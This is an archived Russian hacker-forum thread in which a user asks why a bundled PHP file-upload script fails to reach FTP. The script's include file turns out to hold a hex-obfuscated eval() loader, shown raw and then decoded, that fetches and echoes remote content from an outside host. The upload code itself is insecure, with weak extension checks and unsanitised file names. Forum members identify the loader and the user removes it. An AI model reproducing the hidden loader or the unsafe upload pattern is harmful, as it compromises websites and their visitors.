Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него
Имя
Сообщение << Старые топики   Новые топики >>
что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 15:16:34.370000   
M0rS

Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
вот скрипт загрузки файлов на фтп

&lt;?
$extlimit = "yes"; //Do you want to limit the extensions of files uploaded
$limitedext = array(".gif",".jpg",".png",".jpeg"); //Extensions you want files uploaded limited to.
$sizelimit = "no"; //Do you want a size limit, yes or no?
$sizebytes = "200000"; //size limit in bytes
$dl = "http://www.zachwhite.com/demo/up-down"; //url where files are uploaded
$absolute_path = "/home/zachwhit/public_html/demo/up-down"; //Absolute path to where files are uploaded
$websiteurl = "http://www.zachwhite.com"; //Url to you website
$websitename = "Zach White Network";

switch($action) {
default:
echo"
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Upload Or Download&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;a href=$PHP_SELF?action=upload&gt;Upload File&lt;/a&gt;
&lt;a href=$PHP_SELF?action=download&gt;Download File&lt;/a&gt;
&lt;a href=$websiteurl&gt;Return to $websitename&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Powered by &lt;a href=http://www.zachwhite.com/&gt;PHP Uploader Downloader&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;";
break;
case "download":
echo "
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;File Download&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;&lt;a href=$PHP_SELF?action=upload&gt;Upload File&lt;/a&gt; &lt;a href=$websiteurl&gt;Return to $websitename&lt;/a&gt;";
$list = "&lt;table width=50% border=1 bordercolor=#000000 style=\"border-collapse: collapse\"&gt;";
$list .= "&lt;tr&gt;&lt;td width=50%&gt;&lt;center&gt;&lt;b&gt;Click To Download&lt;/b&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;";
$dir = opendir($absolute_path);
while($file = readdir($dir)) {
if (($file != "..") and ($file != ".")) {
//Download files with spaces fix by Kokesh
$list .= "&lt;tr&gt;&lt;td width=50%&gt;&lt;a href='$dl/$file'&gt;$file&lt;/a&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;";
}
}
$list .= "&lt;/table&gt;";
echo $list;
echo"
&lt;br&gt;&lt;br&gt;
Powered by &lt;a href=http://www.zachwhite.com/&gt;PHP Uploader Downloader&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;";
break;

case "upload":
echo"
&lt;html&gt;

&lt;head&gt;
&lt;title&gt;File Upload&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;

&lt;form method=POST action=$PHP_SELF?action=doupload enctype=multipart/form-data&gt;
&lt;p&gt;File to upload:&lt;br&gt;
&lt;input type=file name=file size=30&gt;
&lt;p&gt;&lt;button name=submit type=submit&gt;
Upload
&lt;/button&gt;
&lt;/form&gt;
&lt;br&gt;&lt;br&gt;
Powered by &lt;a href=http://www.zachwhite.com/&gt;PHP Uploader Downloader&lt;/a&gt;
&lt;/body&gt;

&lt;/html&gt;";
break;


//File Upload
case "doupload":
$dir = "dir";
if ($file != "") {

if (file_exists("$absolute_path/$file_name")) {
die("File already exists");
}

if (($sizelimit == "yes") &amp;&amp; ($file_size &gt; $sizebytes)) {
die("File is to big. It must be $sizebytes bytes or less.");
}

$ext = strrchr($file_name,'.');
if (($extlimit == "yes") &amp;&amp; (!in_array($ext,$limitedext))) {
die("The file you are uploading doesn't have the correct extension.");
}

@copy($file, "$absolute_path/$file_name") or die("The file you are trying to upload couldn't be copied to the server");

} else {
die("Must select file to upload");
}
echo "
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;File Uploaded&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;";
echo $file_name." was uploaded";
echo "&lt;br&gt;
&lt;a href=$PHP_SELF?action=upload&gt;Upload Another File&lt;/a&gt;
&lt;a href=$PHP_SELF?action=download&gt; Download File&lt;/a&gt;
&lt;a href=$websiteurl&gt; Return to $websitename&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Powered by &lt;a href=http://www.zachwhite.com/&gt;PHP Uploader Downloader&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;";
break;

}
?&gt;
&lt;?php require_once("include_options.php");?&gt;

сюда пишу вроде все правильно как тут

$dl = "http://www.zachwhite.com/demo/up-down"; //url where files are uploaded
$absolute_path = "/home/zachwhit/public_html/demo/up-down"; //Absolute path to where files are uploaded
$websiteurl = "http://www.zachwhite.com"; //Url to you website
$websitename = "Zach White Network";

ну указываю папку где хранить фалы и туже папку где их отображать в другой форме имя хоста и т.д пытаюсь загрузить картинку оно мне в итоге выдает следующее The file you are trying to upload couldn't be copied to the server я так понял что не хватает команды соединения с фтп то есть пароль, порт, айпи ну как команда соединения с базой данных mysql только для фтп хостинга на который пытаюсь что то загрузить а что это за команда и куда ее тут вклеить или  может что другое делать надо ?
Post #: 1
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:00:55.670000   
AdReNaL1Ne

Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
quote:

&lt;?php require_once("include_options.php");?&gt;


Я так полагаю в этом файле прописаны настройки соединения с фтп.
Post #: 2
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:10:58.556666   
M0rS

Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
в include_options.php вообще что то непонятное


&lt;?php eval ("\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\
x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x
74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28
\x22\x63\x75\x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\x24\x63\x68\x20\x3d\x20
\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28
\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63
\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55
\x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c\x20
\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c
\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e
\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\
x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55
\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\x75\x72\x6c\x5f\x65\x78\x65\x63
\x28\x24\x63\x68\x29\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\x29
\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\
x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b");?&gt;
Post #: 3
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:21:21.723333   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
Замени eval на echo и пройди на /include_options.php
Post #: 4
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:24:17.820000   
AdReNaL1Ne

Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
$site = "http://www.forlinks.ru/l/l.txt";if(@function_exists("curl_version")){$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$site);curl_setopt($ch, CURLOPT_FAILONERROR, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_TIMEOUT, 4);echo @curl_exec($ch);curl_close($ch);}else echo @file_get_contents($site);

Гугль нашёл это же на ачате) http://forum.antichat.ru/showthread.php?p=552101
Post #: 5
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 19:59:09.760000   
M0rS

Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
вот я нашёл помогите теперь это все склеить чтоб оно работало то есть соединилось с фтп ну и потом закинуло)))


Соединение с удаленным FTP-сервером
[blockquote]<?
$host = "ftp://ftp.server.ru";
$connect = ftp_connect($host);
if(!$connect)
{
echo("Ошибка соединения");
exit;
}
else
{
echo("Соединение установлено");
}
?> [/blockquote] Регистрация на FTP-сервере После того, как соединение установлено, необходимо зарегистрироваться на сервере с определенным именем и паролем. Сделать это можно при помощи функции ftp_login.
Регистрация на FTP-сервере
[blockquote]<?
$user = "maks";
$password = "password";
$result = ftp_login($connect, $user, $password);
?> [/blockquote]
Post #: 6
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 19:59:55.183333   
M0rS

Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
include_options.php я удалил вобще я почистил он та м ненужен помому вобще

можно вот с этим в принципе только надо тогда еще  добавить проверку на совпадение имени чтоб оно поверх не перезаписывало файл
<?php
if($_FILES["filename"]["size"] &gt; 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/temp/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен &lt;br&gt;");
echo("Характеристики файла: &lt;br&gt;");
echo("Имя файла: ");
echo($_FILES["filename"]["name"]);
echo("&lt;br&gt;Размер файла: ");
echo($_FILES["filename"]["size"]);
echo("&lt;br&gt;Каталог для загрузки: ");
echo($_FILES["filename"]["tmp_name"]);
echo("&lt;br&gt;Тип файла: ");
echo($_FILES["filename"]["type"]);
} else {
echo("Ошибка загрузки файла");
}
?&gt;
Post #: 7
Страниц:  [1]
Все форумы >> [Веб-программинг] >> что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.